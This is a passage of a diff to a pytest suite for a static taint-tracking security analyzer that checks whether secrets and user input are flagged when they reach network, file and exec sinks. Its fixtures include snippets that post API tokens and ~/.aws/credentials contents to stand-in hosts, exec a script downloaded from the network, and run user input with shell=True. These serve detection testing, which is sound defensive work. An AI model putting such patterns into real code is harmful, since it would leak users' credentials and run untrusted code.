code = _code( """ import os, requests - def get_key(): - key = os.getenv("API_KEY") - return key - def send(): - key = get_key() - requests.post("https://example.invalid", data=key) # SINK + def upload(url, payload): + requests.get(url) # CLEAN + requests.post(url, data=payload) # SINK + def main(): + upload("https://example.invalid", os.getenv("API_TOKEN")) """ ) - assert [f.start_line for f in _flows(code)] == [_line(code, "# SINK")] + assert _summary(code) == [("TT3", _line(code, "# SINK"))] - def test_helper_return_assigned_to_another_name(self) -> None: - code = _code( + +class TestDirectCalls: + """Arguments of direct in-file calls bind to parameters; returns reach callers.""" + + def test_helper_returns(self) -> None: + same_name = _code( """ import os, requests def get_key(): - return os.getenv("API_KEY") + key = os.getenv("API_KEY") + return key def send(): - value = get_key() - requests.post("https://example.invalid", data=value) # SINK + key = get_key() # ASSIGN + requests.post("https://example.invalid", data=key) # SINK """ ) - assert [f.start_line for f in _flows(code)] == [_line(code, "# SINK")] + other_name = same_name.replace("key = get_key()", "value = get_key()").replace( + "data=key", "data=value" + ) + for code, name in ((same_name, "key"), (other_name, "value")): + (finding,) = _flows(code) + assert finding.start_line == _line(code, "# SINK") + assert f"'{name}' from os.getenv (line {_line(code, '# ASSIGN')}," in finding.message - def test_helper_called_inside_the_sink_arguments(self) -> None: + def test_helper_called_inside_the_sink(self) -> None: code = _code( """ import os, requests def get_key(): - return os.environ["API_KEY"] + return os.environ["API_KEY"] # RETURN requests.post("https://example.invalid", data=get_key()) """ ) (finding,) = _flows(code) - assert "'get_key()'" in finding.message + assert finding.message == ( + f"Tainted flow: 'get_key()' from os.environ (line {_line(code, '# RETURN')}, " + "credential/environment) → requests.post (network output)" + ) - def test_chained_helper_returns(self) -> None: - code = _code( + def test_chained_and_nested_helpers(self) -> None: + chained = _code( """ import os, requests def raw(): @@ -1144,21 +1252,52 @@ def normalized(): requests.post("https://example.invalid", data=normalized()) """ ) - assert len(_flows(code)) == 1 + nested = _code( + """ + import os, requests + def outer(): + token = os.getenv("API_TOKEN") + def inner(value): + requests.post("https://example.invalid", data=value) + def free(): + requests.post("https://example.invalid", data=token) + inner(token) + free() + """ + ) + nonlocal_rebinding = _code( + """ + import os, requests + def outer(): + token = None + def load(): + nonlocal token + token = os.getenv("API_TOKEN") + load() + requests.post("https://example.invalid", data=token) + """ + ) + assert len(_flows(chained)) == 1 + assert len(_flows(nested)) == 2 + assert len(_flows(nonlocal_rebinding)) == 1 - def test_secret_bound_to_a_parameter(self) -> None: + def test_argument_binding(self) -> None: for call in ( "upload(secret)", "upload(payload=secret)", "upload(*[secret])", "upload(**{'payload': secret})", 'upload(os.getenv("API_KEY"))', + "wrapper(secret)", + "wrapper(payload=secret)", ): code = _code( f""" import os, requests def upload(payload): requests.post("https://example.invalid", data=payload) + def wrapper(*args, **kwargs): + return upload(*args, **kwargs) def main(): secret = os.getenv("API_KEY") {call} @@ -1166,11 +1305,13 @@ def main(): ) assert len(_flows(code)) == 1, call - def test_varargs_kwargs_and_defaults_receive_secrets(self) -> None: + def test_defaults_varargs_and_kwargs(self) -> None: for definition, call in ( ("def send(*value):", 'send("x", os.getenv("API_KEY"))'), ("def send(**value):", 'send(key=os.getenv("API_KEY"))'), ('def send(value=os.getenv("API_KEY")):', "send()"), + ('def send(*, value=os.getenv("API_KEY")):', "send()"), + ("def send(a, b, /, value):", 'send(1, 2, os.getenv("API_KEY"))'), ): code = _code( f""" @@ -1182,695 +1323,458 @@ def test_varargs_kwargs_and_defaults_receive_secrets(self) -> None: ) assert len(_flows(code)) == 1, definition - def test_function_passed_as_a_callback_receives_following_arguments(self) -> None: - for call in ( - "threading.Thread(target=upload, args=(secret,)).start()", - "executor.submit(upload, secret)", - ): - code = _code( - f""" - import os, requests, threading - def upload(body): - requests.post("https://example.invalid", data=body) - def main(executor): - secret = os.getenv("API_KEY") - {call} - """ - ) - assert len(_flows(code)) == 1, call + def test_positional_arguments_beyond_the_slot_cap_still_bind(self) -> None: + width = behavioral_taint_tracking._MAX_POSITIONAL_SLOTS + 4 + params = ", ".join(f"p{i}" for i in range(width)) + args = ", ".join('os.getenv("API_KEY")' if i == width - 1 else str(i) for i in range(width)) + code = ( + "import os, requests\n" + f"def send({params}):\n" + f' requests.post("https://example.invalid", data=p{width - 1})\n' + f"send({args})\n" + ) + assert len(_flows(code)) == 1 - def test_global_assigned_inside_a_function(self) -> None: + def test_recursion_terminates(self) -> None: code = _code( """ import os, requests - def configure(): - global TOKEN - TOKEN = os.getenv("API_TOKEN") - def send(): - requests.post("https://example.invalid", data=TOKEN) + def ping(value): + requests.post("https://example.invalid", data=value) + return pong(value) + def pong(value): + return ping(value) + ping(os.getenv("API_TOKEN")) """ ) assert len(_flows(code)) == 1 - def test_closures_and_nested_functions(self) -> None: - """Nested functions see enclosing locals and bind arguments lexically.""" - free_variable = _code( + def test_redefinitions_merge_into_one_callee(self) -> None: + code = _code( """ import os, requests - def outer(): - token = os.getenv("API_TOKEN") - def inner(): - requests.post("https://example.invalid", data=token) - inner() + def send(body): + print(body) + def send(body): + requests.post("https://example.invalid", data=body) # SINK + send(os.getenv("API_TOKEN")) """ ) - bound_argument = _code( + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_global_assigned_inside_a_function(self) -> None: + code = _code( """ import os, requests - def outer(): - token = os.getenv("API_TOKEN") - def inner(value): - requests.post("https://example.invalid", data=value) - inner(token) + def configure(value): + global TOKEN + TOKEN = value + def send(): + requests.post("https://example.invalid", data=TOKEN) + configure(os.getenv("API_TOKEN")) """ ) - nonlocal_rebinding = _code( + assert len(_flows(code)) == 1 + + def test_lambdas_bound_to_names_and_called_inline(self) -> None: + named = _code( """ import os, requests - def outer(): - token = None - def load(): - nonlocal token - token = os.getenv("API_TOKEN") - load() - requests.post("https://example.invalid", data=token) + post_secret = lambda payload: requests.post("https://x.invalid", data=payload) # SINK + def main(): + value = os.getenv("API_TOKEN") + post_secret(value) """ ) - for code in (free_variable, bound_argument, nonlocal_rebinding): - assert len(_flows(code)) == 1, code - - def test_instance_attribute_set_in_init(self) -> None: - code = _code( + returned = _code( """ import os, requests - class Client: - def __init__(self): - self.token = os.getenv("API_TOKEN") - def send(self): - token = self.token - requests.post("https://example.invalid", data=token) + token = lambda: os.getenv("API_TOKEN") # RETURN + requests.post("https://x.invalid", data=token()) # SINK """ ) - assert len(_flows(code)) == 1 + assert _summary(named) == [("TT3", _line(named, "# SINK"))] + assert _summary(returned) == [("TT3", _line(returned, "# SINK"))] - def test_constructor_argument_stored_on_self(self) -> None: - code = _code( + def test_exec_and_file_flows_through_helpers(self) -> None: + exec_flow = _code( """ - import os, requests - class Client: - def __init__(self, token): - self.token = token - def send(self): - requests.post("https://example.invalid", headers={"A": self.token}) - Client(os.getenv("API_TOKEN")).send() + import requests, subprocess + def fetch(): + return requests.get("https://x.invalid/script").text + def run(command): + subprocess.run(command, shell=True) + run(input()) + exec(fetch()) """ ) - assert len(_flows(code)) == 1 - - def test_class_attribute_read_through_self(self) -> None: - code = _code( + file_flow = _code( """ import os, requests - class Client: - TOKEN = os.getenv("API_TOKEN") - def send(self): - requests.post("https://example.invalid", headers={"A": self.TOKEN}) + def read(): + return open(os.path.expanduser("~/.aws/credentials")).read() + creds = read() + requests.post("https://x.invalid", data=creds) """ ) - assert len(_flows(code)) == 1 + assert [f.rule_id for f in _run(exec_flow)] == ["TT5", "TT5"] + assert [f.rule_id for f in _run(file_flow)] == ["TT4"] - def test_attribute_set_in_base_class_read_in_subclass(self) -> None: + def test_token_from_helper_header_builder_reaches_request(self) -> None: + """A token loaded by a helper, put in an auth header and sent, is TT3.""" code = _code( """ import os, requests - class Base: - def __init__(self): - self.token = os.getenv("API_TOKEN") - class Child(Base): - def send(self): - requests.post("https://example.invalid", data=self.token) + def load_token(): + token = os.getenv("SERVICE_TOKEN") + return token.strip() if token else None + def auth_headers(token=None): + if token is None: + token = load_token() + return {"Authorization": f"Bearer {token}"} + def service_get(url, *, headers=None): + request_headers = dict(headers or {}) # COPY + return requests.get(url, headers=request_headers) # SINK + def check(url): + return service_get(url, headers=auth_headers()) """ ) - assert len(_flows(code)) == 1 + (finding,) = _flows(code) + assert finding.start_line == _line(code, "# SINK") + assert f"'request_headers' from os.getenv (line {_line(code, '# COPY')}," in ( + finding.message + ) + - def test_method_calls_bind_arguments(self) -> None: - on_instance = _code( +class TestContextSensitivity: + """One caller's secret must not taint other calls of the same helper.""" + + def test_helper_result_is_tainted_only_where_the_secret_is_passed(self) -> None: + code = _code( """ import os, requests - class Api: - def upload(self, body): - requests.post("https://example.invalid", data=body) - def main(): - api = Api() - api.upload(os.getenv("API_TOKEN")) + def _headers(token=None): + h = {"Accept": "application/json"} + if token: + h = {"Accept": "application/json", "Authorization": f"Bearer {token}"} + return h + def private_api(): + return requests.get("https://api.invalid/me", headers=_headers(os.getenv("T"))) # SINK + def public_status(): + return requests.post("https://status.invalid/ping", headers=_headers()) """ ) - on_self = _code( + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_pure_transform_helper_does_not_leak_between_callers(self) -> None: + code = _code( """ - import os, requests - class Api: - def _send(self, body): - requests.post("https://example.invalid", data=body) - def run(self): - self._send(os.getenv("API_TOKEN")) + import os, json, requests + def to_json(obj): + return json.dumps(obj, indent=2) + def save_config(): + cfg = {"api_key": os.getenv("API_KEY")} + print(to_json(cfg)) + def report(results): + requests.post("https://telemetry.invalid", data=to_json(results)) """ ) - static = _code( + assert _run(code) == [] + + def test_closures_and_lambdas_do_not_leak_between_callers(self) -> None: + closure = _code( """ import os, requests - class Api: - @staticmethod - def send(body): - requests.post("https://example.invalid", data=body) - Api.send(os.getenv("API_TOKEN")) + def wrap(value): + def inner(): + return value + return inner() + def log_key(): + print(wrap(os.getenv("API_KEY"))) + def upload(): + body = wrap("public text") + requests.post("https://example.invalid", data=body) """ ) - for code in (on_instance, on_self, static): - assert len(_flows(code)) == 1, code - - def test_user_input_reaching_exec_through_a_helper(self) -> None: - code = _code( + lambda_closure = closure.replace( + "def inner():\n return value\n return inner()", + "get = lambda: value\n return get()", + ) + named_lambda = _code( """ - import subprocess - def run(command): - subprocess.run(command, shell=True) - run(input()) + import base64, os, requests + b64 = lambda text: base64.b64encode(text.encode()).decode() + def auth_header(): + return "Basic " + b64("user:" + os.getenv("PASSWORD", "")) + def upload(report): + requests.post("https://example.invalid/upload", data=b64(report)) """ ) - assert len(_flows(code, "TT5")) == 1 + assert "get = lambda: value" in lambda_closure + for code in (closure, lambda_closure, named_lambda): + assert _run(code) == [], code - def test_recursive_helpers_terminate(self) -> None: + def test_secrets_still_flow_through_arguments_globals_and_attributes(self) -> None: code = _code( """ import os, requests - def ping(value): - requests.post("https://example.invalid", data=value) - return pong(value) - def pong(value): - return ping(value) - ping(os.getenv("API_TOKEN")) + def remember(value): + global TOKEN + TOKEN = value + class Holder: + def __init__(self, secret): + self.keep(secret) + def keep(self, value): + self.value = value + def send(self): + requests.post("https://x.invalid", data=self.value) # ATTR + def wrap(value): + return {"v": value} + def main(): + secret = os.getenv("API_KEY") + remember(secret) + Holder(secret) + requests.post("https://x.invalid", json=wrap(secret)) # ARG + def later(): + requests.post("https://x.invalid", data=TOKEN) # GLOBAL """ ) - assert len(_flows(code)) == 1 + assert _summary(code) == sorted( + ("TT3", _line(code, marker)) for marker in ("# ATTR", "# ARG", "# GLOBAL") + ) - def test_token_from_helper_header_builder_reaches_request(self) -> None: - """A token loaded by a helper, put in an auth header and sent, is TT3.""" - code = _code( + def test_inline_source_through_a_helper_is_reported_once(self) -> None: + network = _code( """ - import os, requests - def load_token(): - token = os.getenv("SERVICE_TOKEN") # SOURCE - return token.strip() if token else None - def auth_headers(token=None): - if token is None: - token = load_token() - return {"Authorization": f"Bearer {token}"} - def service_get(url, *, headers=None): - request_headers = dict(headers or {}) # COPY - return requests.get(url, headers=request_headers) # SINK - def check(url): - return service_get(url, headers=auth_headers()) + import requests + def wrap(text): + return {"q": text} + requests.post("https://api.invalid/search", json=wrap(input("query: "))) """ ) - (finding,) = _flows(code) - assert finding.start_line == _line(code, "# SINK") - assert f"'request_headers' from os.getenv (line {_line(code, '# COPY')}," in ( - finding.message + command = _code( + """ + import os, subprocess + def make_cmd(binary): + return [binary, "--version"] + subprocess.run(make_cmd(os.environ.get("TOOL_BIN"))) + """ ) + assert [f.rule_id for f in _run(network)] == ["TT1"] + assert [f.rule_id for f in _run(command)] == ["TT1"] + def test_nested_in_file_calls_bind_through_their_values(self) -> None: + code = _code( + """ + import os, requests + def ident(value): + return value + def send(body): + requests.post("https://x.invalid", data=body) # SINK + def main(): + send(ident(ident(os.getenv("API_KEY")))) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] -class TestMessageCompatibility: - """Messages keep the wording earlier releases used. - Exact baseline fingerprints and message-glob baseline rules include the - message, so a flow both versions report must produce the same text: the - variable read at the sink and the line of the statement that last tainted - it (not the line of the original source call). - """ +class TestMethods: + """``self.m``/``cls.m``/``Class.m``/``super().m`` and ``Class(...)`` bind syntactically.""" - def test_reassignment_chain_cites_the_last_assignment(self) -> None: + def test_self_and_cls_methods(self) -> None: code = _code( """ import os, requests - secret = os.getenv("API_KEY") - first = secret - second = first - requests.post("https://example.invalid", data=second) + class Client: + def _token(self): + return os.getenv("API_TOKEN") # SOURCE + def send(self): + requests.post("https://x.invalid", data=self._token()) # RETURNED + def _post(self, body): + requests.post("https://x.invalid", data=body) # BOUND + def run(self): + self._post(os.getenv("OTHER")) + @classmethod + def _class_post(cls, body): + requests.post("https://x.invalid", data=body) # CLASSMETHOD + @classmethod + def run_class(cls): + cls._class_post(os.getenv("OTHER")) """ ) - (finding,) = _flows(code) - assert finding.message == ( - "Tainted flow: 'second' from os.getenv (line 4, credential/environment) " - "→ requests.post (network output)" + assert _summary(code) == sorted( + ("TT3", _line(code, marker)) for marker in ("# RETURNED", "# BOUND", "# CLASSMETHOD") + ) + (returned,) = [f for f in _run(code) if f.start_line == _line(code, "# RETURNED")] + assert returned.message.startswith( + f"Tainted flow: 'self._token()' from os.getenv (line {_line(code, '# SOURCE')}," ) - def test_multiline_assignment_cites_the_assignment_line(self) -> None: + def test_methods_bind_only_into_their_own_class_or_bases(self) -> None: code = _code( """ import os, requests - payload = { # ASSIGN - "user": "example", - "key": os.getenv("API_KEY"), - } - requests.post("https://example.invalid", json=payload) + class Api: + def upload(self, body): + print(body) + def run(self): + self.upload(os.getenv("API_TOKEN")) + class Mirror: + def upload(self, body): + requests.post("https://example.invalid", data=body) + class Sub(Api): + def go(self): + self.upload(os.getenv("API_TOKEN")) """ ) - (finding,) = _flows(code) - assert f"'payload' from os.getenv (line {_line(code, '# ASSIGN')}," in finding.message + assert _run(code) == [] - def test_plain_variable_is_cited_before_a_helper_result(self) -> None: - """A sink reading both a variable and a helper result cites the variable.""" + def test_bases_are_searched_left_to_right(self) -> None: code = _code( """ - import os, subprocess - def build(args): - return ["ssh", *args] - args = input("args: ") - subprocess.run(build(args)) + import os, requests + class Local: + def send(self, body): + print(body) + class Remote: + def send(self, body): + requests.post("https://x.invalid", data=body) + class Client(Local, Remote): + def run(self): + self.send(os.getenv("API_KEY")) """ ) - (finding,) = _flows(code, "TT5") - assert finding.message == ( - "Tainted flow: 'args' from input (line 4, user input) → subprocess.run (code execution)" - ) + assert _run(code) == [] + flipped = code.replace("class Client(Local, Remote):", "class Client(Remote, Local):") + assert [f.rule_id for f in _run(flipped)] == ["TT3"] - def test_cross_function_flow_cites_the_binding_call(self) -> None: + def test_attribute_getters_return_what_a_call_stored(self) -> None: + """Attributes are class state: a parameter stored on ``self`` is read back + by getters, not only by direct ``self.x`` reads.""" code = _code( """ import os, requests - def upload(payload): - requests.post("https://example.invalid", data=payload) - def main(): - secret = os.getenv("API_KEY") - upload(secret) # CALL + class Holder: + def keep(self, value): + self.value = value + def get(self): + return self.value + def run(self): + self.keep(os.getenv("API_KEY")) + def send(self): + requests.post("https://x.invalid", data=self.get()) # SINK """ ) - (finding,) = _flows(code) - assert f"'payload' from os.getenv (line {_line(code, '# CALL')}," in finding.message - + assert _summary(code) == [("TT3", _line(code, "# SINK"))] -class TestInterproceduralBounds: - """Call binding goes through per-callee argument slots, so it stays linear.""" + def test_nearest_in_file_base_defines_the_method(self) -> None: + code = _code( + """ + import os, requests + from typing import Generic, TypeVar + T = TypeVar("T") + class Transport: + def _post(self, body): + requests.post("https://x.invalid", data=body) # SINK + class Mixin: + pass + class Base(Generic[T], Transport): + pass + class Client(Mixin, Base[dict]): + def report(self): + self._post(os.getenv("API_KEY")) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] - def test_many_same_named_methods_and_call_sites_bind_linearly(self, monkeypatch) -> None: - """N methods named ``put`` and N ``obj.put(secret)`` calls: O(N), not O(N^2).""" - count = 400 - classes = "\n".join( - f"class Store{i}:\n def put(self, value):\n return value" - for i in range(count) + def test_class_object_calls_pass_the_receiver_explicitly(self) -> None: + true_flow = _code( + """ + import os, requests + class Base: + def __init__(self, token): + requests.post("https://x.invalid", data=token) # SINK + class Child(Base): + def __init__(self): + token = os.getenv("TOKEN") + Base.__init__(self, token) + """ ) - calls = "\n".join(f" store{i}.put(secret)" for i in range(count)) - code = ( - "import os\n" - f"{classes}\n" - "def main(" + ", ".join(f"store{i}" for i in range(count)) + "):\n" - ' secret = os.getenv("API_KEY")\n' - f"{calls}\n" + shifted = _code( + """ + import os, requests + class Base: + def __init__(self, user, body): + print(user) + requests.post("https://x.invalid", data=body) + class Child(Base): + def __init__(self): + Base.__init__(self, os.getenv("USER_NAME"), "public") + """ ) - calls_made = {"n": 0} - original = behavioral_taint_tracking._mark_targets - - def counting_mark_targets(*args, **kwargs): - calls_made["n"] += 1 - return original(*args, **kwargs) - - monkeypatch.setattr(behavioral_taint_tracking, "_mark_targets", counting_mark_targets) - start = time.monotonic() - sources = _collect(code, _capped_check_runtime(count * 200)) - elapsed = time.monotonic() - start - - # Every method's parameter is reached through the shared argument slot. - assert sum(1 for key in sources if key.endswith("..value")) == count - # A per-pair binding would fire count * count edges. - assert calls_made["n"] <= 10 * count - assert elapsed < 2.0 - - def test_positional_arguments_beyond_the_slot_cap_still_bind(self) -> None: - width = behavioral_taint_tracking._MAX_POSITIONAL_SLOTS + 4 - params = ", ".join(f"p{i}" for i in range(width)) - args = ", ".join('os.getenv("API_KEY")' if i == width - 1 else str(i) for i in range(width)) - code = ( - "import os, requests\n" - f"def send({params}):\n" - f' requests.post("https://example.invalid", data=p{width - 1})\n' - f"send({args})\n" + static_and_class = _code( + """ + import os, requests + class Api: + @staticmethod + def send(body): + requests.post("https://x.invalid", data=body) # STATIC + @classmethod + def post(cls, body): + requests.post("https://x.invalid", data=body) # CLASS + Api.send(os.getenv("API_TOKEN")) + Api.post(os.getenv("API_TOKEN")) + """ ) - assert len(_flows(code)) == 1 - - def test_key_memory_does_not_grow_with_identifier_length(self) -> None: - """Keys never embed qualified names, so memory is independent of name length. - - Taint keys built as ``qualname + name`` copied a long function, class or - method name into every local, attribute, argument slot and untyped - ``obj.m(...)`` fallback binding: memory grew as name length times - references, so a sub-megabyte file could exhaust host memory. - """ - - def module(length: int) -> str: - function, cls, method = "f" * length, "C" * length, "m" * length - lines = [ - "import os", - f"def {function}(*args, **kwargs):", - " return args", - f"{function}(" + "x, " * 3000 + "y=x)", - f"def {function}_locals():", - *(f" v{i} = os.getenv('K')" for i in range(1500)), - f"class {cls}:", - " def store(self, y):", - *(f" self.a{i} = y" for i in range(1500)), - *( - f"class K{i}:\n def {method}(self, a, b):\n return a" - for i in range(30) - ), - "def run(o, x):", - *(f" o.{method}(x, os.getenv('K'))" for _ in range(40)), - ] - return "\n".join(lines) + "\n" - - def peak_bytes(code: str) -> int: - parsed = get_python_ast(None, code, "t.py") - type_map = build_type_map(parsed.tree, parsed.import_aliases) - tracemalloc.start() - try: - index = behavioral_taint_tracking._build_scope_index( - parsed.tree, parsed.import_aliases, type_map - ) - graph = behavioral_taint_tracking._TaintGraph( - index, type_map, parsed.import_aliases - ) - graph.run() - assert graph.facts # the flows above do propagate - return tracemalloc.get_traced_memory()[1] - finally: - tracemalloc.stop() - - short = peak_bytes(module(8)) - long = peak_bytes(module(5000)) - # Qualified keys would cost ~5000 bytes x ~9000 references (~45 MB) more. - assert long - short < 2 * 2**20 - - def test_same_named_classes_resolve_each_call_once(self) -> None: - """Thousands of redefinitions of one class plus calls stay linear. - - Redefinitions of a name merge into one class, and method lookups are - cached, so ``C()`` / ``c.m(x)`` / ``C(x).m(x)`` cost the same whether - ``C`` is defined once or thousands of times. - """ - count = 6000 - definition = ( - "class C:\n def __init__(self, a):\n self.a = a\n" - " def m(self, x):\n return x\n" - ) - code = definition * count + "c = C(1)\nc.m(1)\nC(2).m(2)\n" * count - parsed = get_python_ast(None, code, "t.py") - start = time.monotonic() - index = behavioral_taint_tracking._build_scope_index( - parsed.tree, parsed.import_aliases, {}, _capped_check_runtime(count * 200) - ) - behavioral_taint_tracking._TaintGraph( - index, {}, parsed.import_aliases, _capped_check_runtime(count * 200) - ).run() - elapsed = time.monotonic() - start - assert len(index.logical) == 1 - # Each (class, method) is looked up once, however many calls use it. - assert len(index._methods) <= 4 - assert elapsed < 4.0 - - def test_deadline_is_checked_while_indexing_scopes(self) -> None: - """Scope indexing checks the deadline per node, not only per function.""" - parsed = get_python_ast(None, "x + 1\n" * 20000, "t.py") - with pytest.raises(_RuntimeBudgetError): - behavioral_taint_tracking._build_scope_index( - parsed.tree, parsed.import_aliases, {}, _capped_check_runtime(5000) - ) - - def test_deadline_is_checked_per_statement(self) -> None: - """Calls that bind nothing still pass a deadline check each.""" - parsed = get_python_ast(None, "class C:\n pass\n" + "C()\n" * 20000, "t.py") - index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) - graph = behavioral_taint_tracking._TaintGraph( - index, {}, parsed.import_aliases, _capped_check_runtime(5000) - ) - with pytest.raises(_RuntimeBudgetError): - graph.build() - - def test_deadline_is_checked_per_propagated_fact(self) -> None: - depth = 20000 - code = ( - "import os\n" - + "".join(f"a{i} = a{i - 1}\n" for i in range(depth, 0, -1)) - + 'a0 = os.getenv("K")\n' - ) - parsed = get_python_ast(None, code, "t.py") - index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) - graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) - graph.build() - graph.tick = _capped_check_runtime(depth // 2) - with pytest.raises(_RuntimeBudgetError): - graph.propagate() - - def test_workflow_deadline_stops_an_adversarial_file_promptly(self) -> None: - """A crafted file cannot run the analyzer far past the workflow deadline.""" - code = "class C:\n pass\n" * 30000 + "C()\n" * 60000 - start = time.monotonic() - result = behavioral_taint_tracking.node( - { - "components": ["a.py"], - "file_cache": {"a.py": code}, - "workflow_resource_budget": WorkflowResourceBudget(max_seconds=1.0), - } - ) - elapsed = time.monotonic() - start - assert result["inspection_ledger"][0]["outcome"] in ("completed", "partial") - assert elapsed < 8.0 - - -def _summary(code: str) -> list[tuple[str, int]]: - return sorted((f.rule_id, f.start_line) for f in _run(code)) - - -class TestCallReceivers: - """Method calls resolve through the receiver's class, scoped like any name.""" - - _GITHUB = _code( - """ - import os, requests - class GitHub: - def create_issue(self, token, body): - requests.post("https://api.github.com/issues", headers={"A": token}) # SINK - """ - ) - _MAIN = _code( - """ - def main(): - client = GitHub() - token = os.environ["GITHUB_TOKEN"] - client.create_issue(token, {"title": "t"}) - """ - ) - _FETCH = _code( - """ - def fetch(url): - client = requests.Session() - return client.get(url) - """ - ) - - def test_same_named_library_instance_elsewhere_does_not_hide_binding(self) -> None: - for body in (self._MAIN + self._FETCH, self._FETCH + self._MAIN): - code = self._GITHUB + body - assert _summary(code) == [("TT3", _line(code, "# SINK"))], body - - def test_untyped_parameter_receiver_binds_despite_library_instance_elsewhere(self) -> None: - code = ( - self._GITHUB - + _code( - """ - def run(client): - token = os.getenv("GITHUB_TOKEN") - client.create_issue(token, {}) - """ - ) - + self._FETCH - ) - assert _summary(code) == [("TT3", _line(code, "# SINK"))] - - def test_typed_receiver_reads_only_its_own_class(self) -> None: - code = _code( - """ - import os, requests - class Vault: - def get(self, name): - return os.getenv(name) - class Cache: - def get(self, name): - return "public" - def publish(): - c = Cache() - val = c.get("status") - requests.post("https://x.invalid", data=val) - def load(): - c = Vault() - return c.get("TOKEN") - """ - ) - assert _summary(code) == [] - - def test_typed_receiver_binds_only_its_own_class(self) -> None: - code = _code( - """ - import os, requests - class Api: - def upload(self, body): - print(body) - class Mirror: - def upload(self, body): - requests.post("https://example.invalid", data=body) - def main(): - api = Api() - api.upload(os.getenv("API_TOKEN")) - """ + assert _summary(true_flow) == [("TT3", _line(true_flow, "# SINK"))] + assert _run(shifted) == [] + assert _summary(static_and_class) == sorted( + ("TT3", _line(static_and_class, marker)) for marker in ("# STATIC", "# CLASS") ) - assert _summary(code) == [] - def test_method_return_values_reach_the_caller(self) -> None: - on_self = _code( + def test_constructors_bind_to_init(self) -> None: + by_name = _code( """ import os, requests class Client: - def _token(self): - return os.getenv("API_TOKEN") # RETURN + def __init__(self, token): + self.token = token def send(self): - requests.post("https://example.invalid", data=self._token()) - """ - ) - typed = _code( - """ - import os, requests - class Vault: - def key(self): - return os.getenv("API_TOKEN") # RETURN - def main(): - vault = Vault() - requests.post("https://example.invalid", data=vault.key()) - """ - ) - static = _code( - """ - import os, requests - class Vault: - @staticmethod - def key(): - return os.getenv("API_TOKEN") # RETURN - requests.post("https://example.invalid", data=Vault.key()) - """ - ) - for code, label in ((on_self, "_token()"), (typed, "key()"), (static, "key()")): - (finding,) = _flows(code) - assert finding.message == ( - f"Tainted flow: '{label}' from os.getenv (line {_line(code, '# RETURN')}, " - "credential/environment) → requests.post (network output)" - ) - - def test_returns_of_constructed_and_attribute_receivers(self) -> None: - """``Cls().m()``, ``cls().m()``, ``self.attr.m()`` and annotated instances.""" - vault = _code( - """ - import os, requests - class Vault: - def load(self): - secret = os.environ.get("OPENAI_API_KEY") - return secret - """ - ) - callers = ( - "data = Vault().load()", - "v: Vault = Vault()\ndata = v.load()", - ) - for caller in callers: - code = vault + caller + '\nrequests.post("https://x.invalid", data=data)\n' - assert [f.rule_id for f in _run(code)] == ["TT3"], caller - on_attribute = vault + _code( - """ - class App: - def __init__(self): - self.vault = Vault() - def run(self): - requests.post("https://x.invalid", data=self.vault.load()) + requests.post("https://x.invalid", headers={"A": self.token}) # SINK + Client(os.getenv("API_TOKEN")).send() """ ) - from_classmethod = _code( + by_cls = _code( """ import os, requests - class Vault: - def load(self): - return os.environ.get("API_KEY") + class Client: + def __init__(self, token): + requests.post("https://auth.invalid", data={"token": token}) # SINK @classmethod - def send(cls): - requests.post("https://x.invalid", data=cls().load()) - """ - ) - for code in (on_attribute, from_classmethod): - assert [f.rule_id for f in _run(code)] == ["TT3"], code - - def test_constructed_receiver_returns_feed_exec_and_file_flows(self) -> None: - exec_flow = _code( - """ - import requests - class Fetcher: - def fetch(self): - code = requests.get("https://x.invalid/script").text - return code - code = Fetcher().fetch() - exec(code) - """ - ) - file_flow = _code( - """ - import os, requests - class Reader: - def read(self): - creds = open(os.path.expanduser("~/.aws/credentials")).read() - return creds - creds = Reader().read() - requests.post("https://x.invalid", data=creds) + def from_env(cls): + token = os.environ.get("API_TOKEN") + return cls(token) """ ) - assert [f.rule_id for f in _run(exec_flow)] == ["TT5"] - assert [f.rule_id for f in _run(file_flow)] == ["TT4"] + for code in (by_name, by_cls): + assert _summary(code) == [("TT3", _line(code, "# SINK"))], code - def test_explicit_unbound_calls_bind_self_explicitly(self) -> None: - """``Base.m(self, x)`` passes ``self`` as the first argument, not the receiver.""" - true_flow = _code( - """ - import os, requests - class Base: - def __init__(self, token): - requests.post("https://x.invalid", data=token) # SINK - class Child(Base): - def __init__(self): - token = os.getenv("TOKEN") - Base.__init__(self, token) - """ - ) - shifted = _code( + def test_super_calls_use_the_base_lookup(self) -> None: + returned = _code( """ import os, requests class Base: - def __init__(self, user, body): - print(user) - requests.post("https://x.invalid", data=body) + def auth(self): + token = os.environ["TOKEN"] + return token class Child(Base): - def __init__(self): - Base.__init__(self, os.getenv("USER_NAME"), "public") - """ - ) - thread = _code( - """ - import os, requests, threading - class Base: - def send(self, payload): - requests.post("https://x.invalid", data=payload) # SINK - def main(obj): - token = os.getenv("TOKEN") - threading.Thread(target=Base.send, args=(obj, token)).start() + def send(self): + token = super().auth() + requests.post("https://x.invalid", data=token) # ZERO_ARG + def send2(self): + requests.post("https://x.invalid", data=super(Child, self).auth()) # TWO_ARG """ ) - assert _summary(true_flow) == [("TT3", _line(true_flow, "# SINK"))] - assert _summary(shifted) == [] - assert _summary(thread) == [("TT3", _line(thread, "# SINK"))] - - def test_super_calls_follow_the_method_resolution_order(self) -> None: unrelated_init = _code( """ import os, requests @@ -1892,21 +1796,6 @@ def run(cmd): raise ApiError(requests.get(cmd).text) """ ) - returned = _code( - """ - import os, requests - class Base: - def auth(self): - token = os.environ["TOKEN"] - return token - class Child(Base): - def send(self): - token = super().auth() - requests.post("https://x.invalid", data=token) # ZERO_ARG - def send2(self): - requests.post("https://x.invalid", data=super(Child, self).auth()) # TWO_ARG - """ - ) overridden = _code( """ import os, requests @@ -1925,14 +1814,94 @@ def run(self): requests.post("https://x.invalid", data=super().auth()) """ ) - assert _summary(unrelated_init) == [] - assert _summary(overridden) == [] assert _summary(returned) == [ ("TT3", _line(returned, "# ZERO_ARG")), ("TT3", _line(returned, "# TWO_ARG")), ] + assert _run(unrelated_init) == [] + assert _run(overridden) == [] + + def test_attributes_are_seen_by_the_class_and_its_subclasses(self) -> None: + set_in_init = _code( + """ + import os, requests + class Client: + TOKEN = os.getenv("CLASS_TOKEN") + def __init__(self): + self.token = 